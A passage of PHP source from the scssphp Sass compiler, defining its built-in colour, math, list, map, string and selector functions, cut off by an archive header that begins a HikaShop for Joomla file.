        $color = $this->coerceColor($args[0]);

        return $color[3];
    }

    protected static $libAlpha = ['color'];
    protected function libAlpha($args)
    {
        if ($color = $this->coerceColor($args[0])) {
            return isset($color[4]) ? $color[4] : 1;
        }

        // this might be the IE function, so return value unchanged
        return null;
    }

    protected static $libOpacity = ['color'];
    protected function libOpacity($args)
    {
        $value = $args[0];

        if ($value[0] === Type::T_NUMBER) {
            return null;
        }

        return $this->libAlpha($args);
    }

    // mix two colors
    protected static $libMix = ['color-1', 'color-2',
'weight'];
    protected function libMix($args)
    {
        list($first, $second, $weight) = $args;

        $first = $this->assertColor($first);
        $second = $this->assertColor($second);

        if (! isset($weight)) {
            $weight = 0.5;
        } else {
            $weight = $this->coercePercent($weight);
        }

        $firstAlpha = isset($first[4]) ? $first[4] : 1;
        $secondAlpha = isset($second[4]) ? $second[4] : 1;

        $w = $weight * 2 - 1;
        $a = $firstAlpha - $secondAlpha;

        $w1 = (($w * $a === -1 ? $w : ($w + $a) / (1 + $w * $a)) + 1) /
2.0;
        $w2 = 1.0 - $w1;

        $new = [Type::T_COLOR,
            $w1 * $first[1] + $w2 * $second[1],
            $w1 * $first[2] + $w2 * $second[2],
            $w1 * $first[3] + $w2 * $second[3],
        ];

        if ($firstAlpha != 1.0 || $secondAlpha != 1.0) {
            $new[] = $firstAlpha * $weight + $secondAlpha * (1 - $weight);
        }

        return $this->fixColor($new);
    }

    protected static $libHsl = ['hue', 'saturation',
'lightness'];
    protected function libHsl($args)
    {
        list($h, $s, $l) = $args;

        return $this->toRGB($h[1], $s[1], $l[1]);
    }

    protected static $libHsla = ['hue', 'saturation',
'lightness', 'alpha'];
    protected function libHsla($args)
    {
        list($h, $s, $l, $a) = $args;

        $color = $this->toRGB($h[1], $s[1], $l[1]);
        $color[4] = $a[1];

        return $color;
    }

    protected static $libHue = ['color'];
    protected function libHue($args)
    {
        $color = $this->assertColor($args[0]);
        $hsl = $this->toHSL($color[1], $color[2], $color[3]);

        return new Node\Number($hsl[1], 'deg');
    }

    protected static $libSaturation = ['color'];
    protected function libSaturation($args)
    {
        $color = $this->assertColor($args[0]);
        $hsl = $this->toHSL($color[1], $color[2], $color[3]);

        return new Node\Number($hsl[2], '%');
    }

    protected static $libLightness = ['color'];
    protected function libLightness($args)
    {
        $color = $this->assertColor($args[0]);
        $hsl = $this->toHSL($color[1], $color[2], $color[3]);

        return new Node\Number($hsl[3], '%');
    }

    protected function adjustHsl($color, $idx, $amount)
    {
        $hsl = $this->toHSL($color[1], $color[2], $color[3]);
        $hsl[$idx] += $amount;
        $out = $this->toRGB($hsl[1], $hsl[2], $hsl[3]);

        if (isset($color[4])) {
            $out[4] = $color[4];
        }

        return $out;
    }

    protected static $libAdjustHue = ['color',
'degrees'];
    protected function libAdjustHue($args)
    {
        $color = $this->assertColor($args[0]);
        $degrees = $this->assertNumber($args[1]);

        return $this->adjustHsl($color, 1, $degrees);
    }

    protected static $libLighten = ['color', 'amount'];
    protected function libLighten($args)
    {
        $color = $this->assertColor($args[0]);
        $amount = Util::checkRange('amount', new Range(0, 100),
$args[1], '%');

        return $this->adjustHsl($color, 3, $amount);
    }

    protected static $libDarken = ['color', 'amount'];
    protected function libDarken($args)
    {
        $color = $this->assertColor($args[0]);
        $amount = Util::checkRange('amount', new Range(0, 100),
$args[1], '%');

        return $this->adjustHsl($color, 3, -$amount);
    }

    protected static $libSaturate = ['color',
'amount'];
    protected function libSaturate($args)
    {
        $value = $args[0];

        if ($value[0] === Type::T_NUMBER) {
            return null;
        }

        $color = $this->assertColor($value);
        $amount = 100 * $this->coercePercent($args[1]);

        return $this->adjustHsl($color, 2, $amount);
    }

    protected static $libDesaturate = ['color',
'amount'];
    protected function libDesaturate($args)
    {
        $color = $this->assertColor($args[0]);
        $amount = 100 * $this->coercePercent($args[1]);

        return $this->adjustHsl($color, 2, -$amount);
    }

    protected static $libGrayscale = ['color'];
    protected function libGrayscale($args)
    {
        $value = $args[0];

        if ($value[0] === Type::T_NUMBER) {
            return null;
        }

        return $this->adjustHsl($this->assertColor($value), 2, -100);
    }

    protected static $libComplement = ['color'];
    protected function libComplement($args)
    {
        return $this->adjustHsl($this->assertColor($args[0]), 1,
180);
    }

    protected static $libInvert = ['color'];
    protected function libInvert($args)
    {
        $value = $args[0];

        if ($value[0] === Type::T_NUMBER) {
            return null;
        }

        $color = $this->assertColor($value);
        $color[1] = 255 - $color[1];
        $color[2] = 255 - $color[2];
        $color[3] = 255 - $color[3];

        return $color;
    }

    // increases opacity by amount
    protected static $libOpacify = ['color', 'amount'];
    protected function libOpacify($args)
    {
        $color = $this->assertColor($args[0]);
        $amount = $this->coercePercent($args[1]);

        $color[4] = (isset($color[4]) ? $color[4] : 1) + $amount;
        $color[4] = min(1, max(0, $color[4]));

        return $color;
    }

    protected static $libFadeIn = ['color', 'amount'];
    protected function libFadeIn($args)
    {
        return $this->libOpacify($args);
    }

    // decreases opacity by amount
    protected static $libTransparentize = ['color',
'amount'];
    protected function libTransparentize($args)
    {
        $color = $this->assertColor($args[0]);
        $amount = $this->coercePercent($args[1]);

        $color[4] = (isset($color[4]) ? $color[4] : 1) - $amount;
        $color[4] = min(1, max(0, $color[4]));

        return $color;
    }

    protected static $libFadeOut = ['color', 'amount'];
    protected function libFadeOut($args)
    {
        return $this->libTransparentize($args);
    }

    protected static $libUnquote = ['string'];
    protected function libUnquote($args)
    {
        $str = $args[0];

        if ($str[0] === Type::T_STRING) {
            $str[1] = '';
        }

        return $str;
    }

    protected static $libQuote = ['string'];
    protected function libQuote($args)
    {
        $value = $args[0];

        if ($value[0] === Type::T_STRING && ! empty($value[1])) {
            return $value;
        }

        return [Type::T_STRING, '"', [$value]];
    }

    protected static $libPercentage = ['value'];
    protected function libPercentage($args)
    {
        return new Node\Number($this->coercePercent($args[0]) * 100,
'%');
    }

    protected static $libRound = ['value'];
    protected function libRound($args)
    {
        $num = $args[0];

        return new Node\Number(round($num[1]), $num[2]);
    }

    protected static $libFloor = ['value'];
    protected function libFloor($args)
    {
        $num = $args[0];

        return new Node\Number(floor($num[1]), $num[2]);
    }

    protected static $libCeil = ['value'];
    protected function libCeil($args)
    {
        $num = $args[0];

        return new Node\Number(ceil($num[1]), $num[2]);
    }

    protected static $libAbs = ['value'];
    protected function libAbs($args)
    {
        $num = $args[0];

        return new Node\Number(abs($num[1]), $num[2]);
    }

    protected function libMin($args)
    {
        $numbers = $this->getNormalizedNumbers($args);
        $min = null;

        foreach ($numbers as $key => $number) {
            if (null === $min || $number[1] <= $min[1]) {
                $min = [$key, $number[1]];
            }
        }

        return $args[$min[0]];
    }

    protected function libMax($args)
    {
        $numbers = $this->getNormalizedNumbers($args);
        $max = null;

        foreach ($numbers as $key => $number) {
            if (null === $max || $number[1] >= $max[1]) {
                $max = [$key, $number[1]];
            }
        }

        return $args[$max[0]];
    }

    /**
     * Helper to normalize args containing numbers
     *
     * @param array $args
     *
     * @return array
     */
    protected function getNormalizedNumbers($args)
    {
        $unit = null;
        $originalUnit = null;
        $numbers = [];

        foreach ($args as $key => $item) {
            if ($item[0] !== Type::T_NUMBER) {
                $this->throwError('%s is not a number',
$item[0]);
                break;
            }

            $number = $item->normalize();

            if (null === $unit) {
                $unit = $number[2];
                $originalUnit = $item->unitStr();
            } elseif ($number[1] && $unit !== $number[2]) {
                $this->throwError('Incompatible units:
"%s" and "%s".', $originalUnit,
$item->unitStr());
                break;
            }

            $numbers[$key] = $number;
        }

        return $numbers;
    }

    protected static $libLength = ['list'];
    protected function libLength($args)
    {
        $list = $this->coerceList($args[0]);

        return count($list[2]);
    }

    //protected static $libListSeparator = ['list...'];
    protected function libListSeparator($args)
    {
        if (count($args) > 1) {
            return 'comma';
        }

        $list = $this->coerceList($args[0]);

        if (count($list[2]) <= 1) {
            return 'space';
        }

        if ($list[1] === ',') {
            return 'comma';
        }

        return 'space';
    }

    protected static $libNth = ['list', 'n'];
    protected function libNth($args)
    {
        $list = $this->coerceList($args[0]);
        $n = $this->assertNumber($args[1]);

        if ($n > 0) {
            $n--;
        } elseif ($n < 0) {
            $n += count($list[2]);
        }

        return isset($list[2][$n]) ? $list[2][$n] : static::$defaultValue;
    }

    protected static $libSetNth = ['list', 'n',
'value'];
    protected function libSetNth($args)
    {
        $list = $this->coerceList($args[0]);
        $n = $this->assertNumber($args[1]);

        if ($n > 0) {
            $n--;
        } elseif ($n < 0) {
            $n += count($list[2]);
        }

        if (! isset($list[2][$n])) {
            $this->throwError('Invalid argument for
"n"');

            return null;
        }

        $list[2][$n] = $args[2];

        return $list;
    }

    protected static $libMapGet = ['map', 'key'];
    protected function libMapGet($args)
    {
        $map = $this->assertMap($args[0]);
        $key =
$this->compileStringContent($this->coerceString($args[1]));

        for ($i = count($map[1]) - 1; $i >= 0; $i--) {
            if ($key ===
$this->compileStringContent($this->coerceString($map[1][$i]))) {
                return $map[2][$i];
            }
        }

        return static::$null;
    }

    protected static $libMapKeys = ['map'];
    protected function libMapKeys($args)
    {
        $map = $this->assertMap($args[0]);
        $keys = $map[1];

        return [Type::T_LIST, ',', $keys];
    }

    protected static $libMapValues = ['map'];
    protected function libMapValues($args)
    {
        $map = $this->assertMap($args[0]);
        $values = $map[2];

        return [Type::T_LIST, ',', $values];
    }

    protected static $libMapRemove = ['map', 'key'];
    protected function libMapRemove($args)
    {
        $map = $this->assertMap($args[0]);
        $key =
$this->compileStringContent($this->coerceString($args[1]));

        for ($i = count($map[1]) - 1; $i >= 0; $i--) {
            if ($key ===
$this->compileStringContent($this->coerceString($map[1][$i]))) {
                array_splice($map[1], $i, 1);
                array_splice($map[2], $i, 1);
            }
        }

        return $map;
    }

    protected static $libMapHasKey = ['map', 'key'];
    protected function libMapHasKey($args)
    {
        $map = $this->assertMap($args[0]);
        $key =
$this->compileStringContent($this->coerceString($args[1]));

        for ($i = count($map[1]) - 1; $i >= 0; $i--) {
            if ($key ===
$this->compileStringContent($this->coerceString($map[1][$i]))) {
                return true;
            }
        }

        return false;
    }

    protected static $libMapMerge = ['map-1', 'map-2'];
    protected function libMapMerge($args)
    {
        $map1 = $this->assertMap($args[0]);
        $map2 = $this->assertMap($args[1]);

        foreach ($map2[1] as $i2 => $key2) {
            $key =
$this->compileStringContent($this->coerceString($key2));

            foreach ($map1[1] as $i1 => $key1) {
                if ($key ===
$this->compileStringContent($this->coerceString($key1))) {
                    $map1[2][$i1] = $map2[2][$i2];
                    continue 2;
                }
            }

            $map1[1][] = $map2[1][$i2];
            $map1[2][] = $map2[2][$i2];
        }

        return $map1;
    }

    protected static $libKeywords = ['args'];
    protected function libKeywords($args)
    {
        $this->assertList($args[0]);

        $keys = [];
        $values = [];

        foreach ($args[0][2] as $name => $arg) {
            $keys[] = [Type::T_KEYWORD, $name];
            $values[] = $arg;
        }

        return [Type::T_MAP, $keys, $values];
    }

    protected function listSeparatorForJoin($list1, $sep)
    {
        if (! isset($sep)) {
            return $list1[1];
        }

        switch ($this->compileValue($sep)) {
            case 'comma':
                return ',';

            case 'space':
                return '';

            default:
                return $list1[1];
        }
    }

    protected static $libJoin = ['list1', 'list2',
'separator'];
    protected function libJoin($args)
    {
        list($list1, $list2, $sep) = $args;

        $list1 = $this->coerceList($list1, ' ');
        $list2 = $this->coerceList($list2, ' ');
        $sep = $this->listSeparatorForJoin($list1, $sep);

        return [Type::T_LIST, $sep, array_merge($list1[2], $list2[2])];
    }

    protected static $libAppend = ['list', 'val',
'separator'];
    protected function libAppend($args)
    {
        list($list1, $value, $sep) = $args;

        $list1 = $this->coerceList($list1, ' ');
        $sep = $this->listSeparatorForJoin($list1, $sep);

        return [Type::T_LIST, $sep, array_merge($list1[2], [$value])];
    }

    protected function libZip($args)
    {
        foreach ($args as $arg) {
            $this->assertList($arg);
        }

        $lists = [];
        $firstList = array_shift($args);

        foreach ($firstList[2] as $key => $item) {
            $list = [Type::T_LIST, '', [$item]];

            foreach ($args as $arg) {
                if (isset($arg[2][$key])) {
                    $list[2][] = $arg[2][$key];
                } else {
                    break 2;
                }
            }

            $lists[] = $list;
        }

        return [Type::T_LIST, ',', $lists];
    }

    protected static $libTypeOf = ['value'];
    protected function libTypeOf($args)
    {
        $value = $args[0];

        switch ($value[0]) {
            case Type::T_KEYWORD:
                if ($value === static::$true || $value === static::$false)
{
                    return 'bool';
                }

                if ($this->coerceColor($value)) {
                    return 'color';
                }

                // fall-thru
            case Type::T_FUNCTION:
                return 'string';

            case Type::T_LIST:
                if (isset($value[3]) && $value[3]) {
                    return 'arglist';
                }

                // fall-thru
            default:
                return $value[0];
        }
    }

    protected static $libUnit = ['number'];
    protected function libUnit($args)
    {
        $num = $args[0];

        if ($num[0] === Type::T_NUMBER) {
            return [Type::T_STRING, '"',
[$num->unitStr()]];
        }

        return '';
    }

    protected static $libUnitless = ['number'];
    protected function libUnitless($args)
    {
        $value = $args[0];

        return $value[0] === Type::T_NUMBER &&
$value->unitless();
    }

    protected static $libComparable = ['number-1',
'number-2'];
    protected function libComparable($args)
    {
        list($number1, $number2) = $args;

        if (! isset($number1[0]) || $number1[0] !== Type::T_NUMBER ||
            ! isset($number2[0]) || $number2[0] !== Type::T_NUMBER
        ) {
            $this->throwError('Invalid argument(s) for
"comparable"');

            return null;
        }

        $number1 = $number1->normalize();
        $number2 = $number2->normalize();

        return $number1[2] === $number2[2] || $number1->unitless() ||
$number2->unitless();
    }

    protected static $libStrIndex = ['string',
'substring'];
    protected function libStrIndex($args)
    {
        $string = $this->coerceString($args[0]);
        $stringContent = $this->compileStringContent($string);

        $substring = $this->coerceString($args[1]);
        $substringContent = $this->compileStringContent($substring);

        $result = strpos($stringContent, $substringContent);

        return $result === false ? static::$null : new Node\Number($result
+ 1, '');
    }

    protected static $libStrInsert = ['string',
'insert', 'index'];
    protected function libStrInsert($args)
    {
        $string = $this->coerceString($args[0]);
        $stringContent = $this->compileStringContent($string);

        $insert = $this->coerceString($args[1]);
        $insertContent = $this->compileStringContent($insert);

        list(, $index) = $args[2];

        $string[2] = [substr_replace($stringContent, $insertContent, $index
- 1, 0)];

        return $string;
    }

    protected static $libStrLength = ['string'];
    protected function libStrLength($args)
    {
        $string = $this->coerceString($args[0]);
        $stringContent = $this->compileStringContent($string);

        return new Node\Number(strlen($stringContent), '');
    }

    protected static $libStrSlice = ['string',
'start-at', 'end-at:-1'];
    protected function libStrSlice($args)
    {
        if (isset($args[2]) && ! $args[2][1]) {
            return static::$nullString;
        }

        $string = $this->coerceString($args[0]);
        $stringContent = $this->compileStringContent($string);

        $start = (int) $args[1][1];

        if ($start > 0) {
            $start--;
        }

        $end    = isset($args[2]) ? (int) $args[2][1] : -1;
        $length = $end < 0 ? $end + 1 : ($end > 0 ? $end - $start :
$end);

        $string[2] = $length
            ? [substr($stringContent, $start, $length)]
            : [substr($stringContent, $start)];

        return $string;
    }

    protected static $libToLowerCase = ['string'];
    protected function libToLowerCase($args)
    {
        $string = $this->coerceString($args[0]);
        $stringContent = $this->compileStringContent($string);

        $string[2] = [function_exists('mb_strtolower') ?
mb_strtolower($stringContent) : strtolower($stringContent)];

        return $string;
    }

    protected static $libToUpperCase = ['string'];
    protected function libToUpperCase($args)
    {
        $string = $this->coerceString($args[0]);
        $stringContent = $this->compileStringContent($string);

        $string[2] = [function_exists('mb_strtoupper') ?
mb_strtoupper($stringContent) : strtoupper($stringContent)];

        return $string;
    }

    protected static $libFeatureExists = ['feature'];
    protected function libFeatureExists($args)
    {
        $string = $this->coerceString($args[0]);
        $name = $this->compileStringContent($string);

        return $this->toBool(
            array_key_exists($name, $this->registeredFeatures) ?
$this->registeredFeatures[$name] : false
        );
    }

    protected static $libFunctionExists = ['name'];
    protected function libFunctionExists($args)
    {
        $string = $this->coerceString($args[0]);
        $name = $this->compileStringContent($string);

        // user defined functions
        if ($this->has(static::$namespaces['function'] .
$name)) {
            return true;
        }

        $name = $this->normalizeName($name);

        if (isset($this->userFunctions[$name])) {
            return true;
        }

        // built-in functions
        $f = $this->getBuiltinFunction($name);

        return $this->toBool(is_callable($f));
    }

    protected static $libGlobalVariableExists = ['name'];
    protected function libGlobalVariableExists($args)
    {
        $string = $this->coerceString($args[0]);
        $name = $this->compileStringContent($string);

        return $this->has($name, $this->rootEnv);
    }

    protected static $libMixinExists = ['name'];
    protected function libMixinExists($args)
    {
        $string = $this->coerceString($args[0]);
        $name = $this->compileStringContent($string);

        return $this->has(static::$namespaces['mixin'] .
$name);
    }

    protected static $libVariableExists = ['name'];
    protected function libVariableExists($args)
    {
        $string = $this->coerceString($args[0]);
        $name = $this->compileStringContent($string);

        return $this->has($name);
    }

    /**
     * Workaround IE7's content counter bug.
     *
     * @param array $args
     *
     * @return array
     */
    protected function libCounter($args)
    {
        $list = array_map([$this, 'compileValue'], $args);

        return [Type::T_STRING, '', ['counter(' .
implode(',', $list) . ')']];
    }

    protected static $libRandom = ['limit'];
    protected function libRandom($args)
    {
        if (isset($args[0])) {
            $n = $this->assertNumber($args[0]);

            if ($n < 1) {
                $this->throwError("limit must be greater than or
equal to 1");

                return null;
            }

            return new Node\Number(mt_rand(1, $n), '');
        }

        return new Node\Number(mt_rand(1, mt_getrandmax()), '');
    }

    protected function libUniqueId()
    {
        static $id;

        if (! isset($id)) {
            $id = mt_rand(0, pow(36, 8));
        }

        $id += mt_rand(0, 10) + 1;

        return [Type::T_STRING, '', ['u' .
str_pad(base_convert($id, 10, 36), 8, '0', STR_PAD_LEFT)]];
    }

    protected static $libInspect = ['value'];
    protected function libInspect($args)
    {
        if ($args[0] === static::$null) {
            return [Type::T_KEYWORD, 'null'];
        }

        return $args[0];
    }

    /**
     * Preprocess selector args
     *
     * @param array $arg
     *
     * @return array|boolean
     */
    protected function getSelectorArg($arg)
    {
        static $parser = null;

        if (is_null($parser)) {
            $parser = $this->parserFactory(__METHOD__);
        }

        $arg = $this->libUnquote([$arg]);
        $arg = $this->compileValue($arg);

        $parsedSelector = [];

        if ($parser->parseSelector($arg, $parsedSelector)) {
            $selector = $this->evalSelectors($parsedSelector);
            $gluedSelector = $this->glueFunctionSelectors($selector);

            return $gluedSelector;
        }

        return false;
    }

    /**
     * Postprocess selector to output in right format
     *
     * @param array $selectors
     *
     * @return string
     */
    protected function formatOutputSelector($selectors)
    {
        $selectors = $this->collapseSelectors($selectors, true);

        return $selectors;
    }

    protected static $libIsSuperselector = ['super',
'sub'];
    protected function libIsSuperselector($args)
    {
        list($super, $sub) = $args;

        $super = $this->getSelectorArg($super);
        $sub = $this->getSelectorArg($sub);

        return $this->isSuperSelector($super, $sub);
    }

    /**
     * Test a $super selector again $sub
     *
     * @param array $super
     * @param array $sub
     *
     * @return boolean
     */
    protected function isSuperSelector($super, $sub)
    {
        // one and only one selector for each arg
        if (! $super || count($super) !== 1) {
            $this->throwError("Invalid super selector for
isSuperSelector()");
        }

        if (! $sub || count($sub) !== 1) {
            $this->throwError("Invalid sub selector for
isSuperSelector()");
        }

        $super = reset($super);
        $sub = reset($sub);

        $i = 0;
        $nextMustMatch = false;

        foreach ($super as $node) {
            $compound = '';

            array_walk_recursive(
                $node,
                function ($value, $key) use (&$compound) {
                    $compound .= $value;
                }
            );

            if ($this->isImmediateRelationshipCombinator($compound)) {
                if ($node !== $sub[$i]) {
                    return false;
                }

                $nextMustMatch = true;
                $i++;
            } else {
                while ($i < count($sub) && !
$this->isSuperPart($node, $sub[$i])) {
                    if ($nextMustMatch) {
                        return false;
                    }

                    $i++;
                }

                if ($i >= count($sub)) {
                    return false;
                }

                $nextMustMatch = false;
                $i++;
            }
        }

        return true;
    }

    /**
     * Test a part of super selector again a part of sub selector
     *
     * @param array $superParts
     * @param array $subParts
     *
     * @return boolean
     */
    protected function isSuperPart($superParts, $subParts)
    {
        $i = 0;

        foreach ($superParts as $superPart) {
            while ($i < count($subParts) && $subParts[$i] !==
$superPart) {
                $i++;
            }

            if ($i >= count($subParts)) {
                return false;
            }

            $i++;
        }

        return true;
    }

    //protected static $libSelectorAppend = ['selector...'];
    protected function libSelectorAppend($args)
    {
        if (count($args) < 1) {
            $this->throwError("selector-append() needs at least 1
argument");
        }

        $selectors = array_map([$this, 'getSelectorArg'], $args);

        return
$this->formatOutputSelector($this->selectorAppend($selectors));
    }

    /**
     * Append parts of the last selector in the list to the previous,
recursively
     *
     * @param array $selectors
     *
     * @return array
     *
     * @throws \Leafo\ScssPhp\Exception\CompilerException
     */
    protected function selectorAppend($selectors)
    {
        $lastSelectors = array_pop($selectors);

        if (! $lastSelectors) {
            $this->throwError("Invalid selector list in
selector-append()");
        }

        while (count($selectors)) {
            $previousSelectors = array_pop($selectors);

            if (! $previousSelectors) {
                $this->throwError("Invalid selector list in
selector-append()");
            }

            // do the trick, happening $lastSelector to $previousSelector
            $appended = [];

            foreach ($lastSelectors as $lastSelector) {
                $previous = $previousSelectors;

                foreach ($lastSelector as $lastSelectorParts) {
                    foreach ($lastSelectorParts as $lastSelectorPart) {
                        foreach ($previous as $i => $previousSelector) {
                            foreach ($previousSelector as $j =>
$previousSelectorParts) {
                                $previous[$i][$j][] = $lastSelectorPart;
                            }
                        }
                    }
                }

                foreach ($previous as $ps) {
                    $appended[] = $ps;
                }
            }

            $lastSelectors = $appended;
        }

        return $lastSelectors;
    }

    protected static $libSelectorExtend = ['selectors',
'extendee', 'extender'];
    protected function libSelectorExtend($args)
    {
        list($selectors, $extendee, $extender) = $args;

        $selectors = $this->getSelectorArg($selectors);
        $extendee = $this->getSelectorArg($extendee);
        $extender = $this->getSelectorArg($extender);

        if (! $selectors || ! $extendee || ! $extender) {
            $this->throwError("selector-extend() invalid
arguments");
        }

        $extended = $this->extendOrReplaceSelectors($selectors,
$extendee, $extender);

        return $this->formatOutputSelector($extended);
    }

    protected static $libSelectorReplace = ['selectors',
'original', 'replacement'];
    protected function libSelectorReplace($args)
    {
        list($selectors, $original, $replacement) = $args;

        $selectors = $this->getSelectorArg($selectors);
        $original = $this->getSelectorArg($original);
        $replacement = $this->getSelectorArg($replacement);

        if (! $selectors || ! $original || ! $replacement) {
            $this->throwError("selector-replace() invalid
arguments");
        }

        $replaced = $this->extendOrReplaceSelectors($selectors,
$original, $replacement, true);

        return $this->formatOutputSelector($replaced);
    }

    /**
     * Extend/replace in selectors
     * used by selector-extend and selector-replace that use the same logic
     *
     * @param array   $selectors
     * @param array   $extendee
     * @param array   $extender
     * @param boolean $replace
     *
     * @return array
     */
    protected function extendOrReplaceSelectors($selectors, $extendee,
$extender, $replace = false)
    {
        $saveExtends = $this->extends;
        $saveExtendsMap = $this->extendsMap;

        $this->extends = [];
        $this->extendsMap = [];

        foreach ($extendee as $es) {
            // only use the first one
            $this->pushExtends(reset($es), $extender, null);
        }

        $extended = [];

        foreach ($selectors as $selector) {
            if (! $replace) {
                $extended[] = $selector;
            }

            $n = count($extended);

            $this->matchExtends($selector, $extended);

            // if didnt match, keep the original selector if we are in a
replace operation
            if ($replace and count($extended) === $n) {
                $extended[] = $selector;
            }
        }

        $this->extends = $saveExtends;
        $this->extendsMap = $saveExtendsMap;

        return $extended;
    }

    //protected static $libSelectorNest = ['selector...'];
    protected function libSelectorNest($args)
    {
        if (count($args) < 1) {
            $this->throwError("selector-nest() needs at least 1
argument");
        }

        $selectorsMap = array_map([$this, 'getSelectorArg'],
$args);

        $envs = [];
        foreach ($selectorsMap as $selectors) {
            $env = new Environment();
            $env->selectors = $selectors;

            $envs[] = $env;
        }

        $envs = array_reverse($envs);
        $env = $this->extractEnv($envs);
        $outputSelectors = $this->multiplySelectors($env);

        return $this->formatOutputSelector($outputSelectors);
    }

    protected static $libSelectorParse = ['selectors'];
    protected function libSelectorParse($args)
    {
        $selectors = reset($args);
        $selectors = $this->getSelectorArg($selectors);

        return $this->formatOutputSelector($selectors);
    }

    protected static $libSelectorUnify = ['selectors1',
'selectors2'];
    protected function libSelectorUnify($args)
    {
        list($selectors1, $selectors2) = $args;

        $selectors1 = $this->getSelectorArg($selectors1);
        $selectors2 = $this->getSelectorArg($selectors2);

        if (! $selectors1 || ! $selectors2) {
            $this->throwError("selector-unify() invalid
arguments");
        }

        // only consider the first compound of each
        $compound1 = reset($selectors1);
        $compound2 = reset($selectors2);

        // unify them and that's it
        $unified = $this->unifyCompoundSelectors($compound1,
$compound2);

        return $this->formatOutputSelector($unified);
    }

    /**
     * The selector-unify magic as its best
     * (at least works as expected on test cases)
     *
     * @param array $compound1
     * @param array $compound2
     * @return array|mixed
     */
    protected function unifyCompoundSelectors($compound1, $compound2)
    {
        if (! count($compound1)) {
            return $compound2;
        }

        if (! count($compound2)) {
            return $compound1;
        }

        // check that last part are compatible
        $lastPart1 = array_pop($compound1);
        $lastPart2 = array_pop($compound2);
        $last = $this->mergeParts($lastPart1, $lastPart2);

        if (! $last) {
            return [[]];
        }

        $unifiedCompound = [$last];
        $unifiedSelectors = [$unifiedCompound];

        // do the rest
        while (count($compound1) || count($compound2)) {
            $part1 = end($compound1);
            $part2 = end($compound2);

            if ($part1 && ($match2 =
$this->matchPartInCompound($part1, $compound2))) {
                list($compound2, $part2, $after2) = $match2;

                if ($after2) {
                    $unifiedSelectors =
$this->prependSelectors($unifiedSelectors, $after2);
                }

                $c = $this->mergeParts($part1, $part2);
                $unifiedSelectors =
$this->prependSelectors($unifiedSelectors, [$c]);
                $part1 = $part2 = null;

                array_pop($compound1);
            }

            if ($part2 && ($match1 =
$this->matchPartInCompound($part2, $compound1))) {
                list($compound1, $part1, $after1) = $match1;

                if ($after1) {
                    $unifiedSelectors =
$this->prependSelectors($unifiedSelectors, $after1);
                }

                $c = $this->mergeParts($part2, $part1);
                $unifiedSelectors =
$this->prependSelectors($unifiedSelectors, [$c]);
                $part1 = $part2 = null;

                array_pop($compound2);
            }

            $new = [];

            if ($part1 && $part2) {
                array_pop($compound1);
                array_pop($compound2);

                $s = $this->prependSelectors($unifiedSelectors,
[$part2]);
                $new = array_merge($new, $this->prependSelectors($s,
[$part1]));
                $s = $this->prependSelectors($unifiedSelectors,
[$part1]);
                $new = array_merge($new, $this->prependSelectors($s,
[$part2]));
            } elseif ($part1) {
                array_pop($compound1);

                $new = array_merge($new,
$this->prependSelectors($unifiedSelectors, [$part1]));
            } elseif ($part2) {
                array_pop($compound2);

                $new = array_merge($new,
$this->prependSelectors($unifiedSelectors, [$part2]));
            }

            if ($new) {
                $unifiedSelectors = $new;
            }
        }

        return $unifiedSelectors;
    }

    /**
     * Prepend each selector from $selectors with $parts
     *
     * @param array $selectors
     * @param array $parts
     *
     * @return array
     */
    protected function prependSelectors($selectors, $parts)
    {
        $new = [];

        foreach ($selectors as $compoundSelector) {
            array_unshift($compoundSelector, $parts);

            $new[] = $compoundSelector;
        }

        return $new;
    }

    /**
     * Try to find a matching part in a compound:
     * - with same html tag name
     * - with some class or id or something in common
     *
     * @param array $part
     * @param array $compound
     *
     * @return array|boolean
     */
    protected function matchPartInCompound($part, $compound)
    {
        $partTag = $this->findTagName($part);
        $before = $compound;
        $after = [];

        // try to find a match by tag name first
        while (count($before)) {
            $p = array_pop($before);

            if ($partTag && $partTag !== '*' &&
$partTag == $this->findTagName($p)) {
                return [$before, $p, $after];
            }

            $after[] = $p;
        }

        // try again matching a non empty intersection and a compatible
tagname
        $before = $compound;
        $after = [];

        while (count($before)) {
            $p = array_pop($before);

            if ($this->checkCompatibleTags($partTag,
$this->findTagName($p))) {
                if (count(array_intersect($part, $p))) {
                    return [$before, $p, $after];
                }
            }

            $after[] = $p;
        }

        return false;
    }

    /**
     * Merge two part list taking care that
     * - the html tag is coming first - if any
     * - the :something are coming last
     *
     * @param array $parts1
     * @param array $parts2
     *
     * @return array
     */
    protected function mergeParts($parts1, $parts2)
    {
        $tag1 = $this->findTagName($parts1);
        $tag2 = $this->findTagName($parts2);
        $tag = $this->checkCompatibleTags($tag1, $tag2);

        // not compatible tags
        if ($tag === false) {
            return [];
        }

        if ($tag) {
            if ($tag1) {
                $parts1 = array_diff($parts1, [$tag1]);
            }

            if ($tag2) {
                $parts2 = array_diff($parts2, [$tag2]);
            }
        }

        $mergedParts = array_merge($parts1, $parts2);
        $mergedOrderedParts = [];

        foreach ($mergedParts as $part) {
            if (strpos($part, ':') === 0) {
                $mergedOrderedParts[] = $part;
            }
        }

        $mergedParts = array_diff($mergedParts, $mergedOrderedParts);
        $mergedParts = array_merge($mergedParts, $mergedOrderedParts);

        if ($tag) {
            array_unshift($mergedParts, $tag);
        }

        return $mergedParts;
    }

    /**
     * Check the compatibility between two tag names:
     * if both are defined they should be identical or one has to be
'*'
     *
     * @param string $tag1
     * @param string $tag2
     *
     * @return array|boolean
     */
    protected function checkCompatibleTags($tag1, $tag2)
    {
        $tags = [$tag1, $tag2];
        $tags = array_unique($tags);
        $tags = array_filter($tags);

        if (count($tags)>1) {
            $tags = array_diff($tags, ['*']);
        }

        // not compatible nodes
        if (count($tags)>1) {
            return false;
        }

        return $tags;
    }

    /**
     * Find the html tag name in a selector parts list
     *
     * @param array $parts
     *
     * @return mixed|string
     */
    protected function findTagName($parts)
    {
        foreach ($parts as $part) {
            if (! preg_match('/^[\[.:#%_-]/', $part)) {
                return $part;
            }
        }

        return '';
    }

    protected static $libSimpleSelectors = ['selector'];
    protected function libSimpleSelectors($args)
    {
        $selector = reset($args);
        $selector = $this->getSelectorArg($selector);

        // remove selectors list layer, keeping the first one
        $selector = reset($selector);

        // remove parts list layer, keeping the first part
        $part = reset($selector);

        $listParts = [];

        foreach ($part as $p) {
            $listParts[] = [Type::T_STRING, '', [$p]];
        }

        return [Type::T_LIST, ',', $listParts];
    }
}
address.php000064400000016671151160302610006710 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
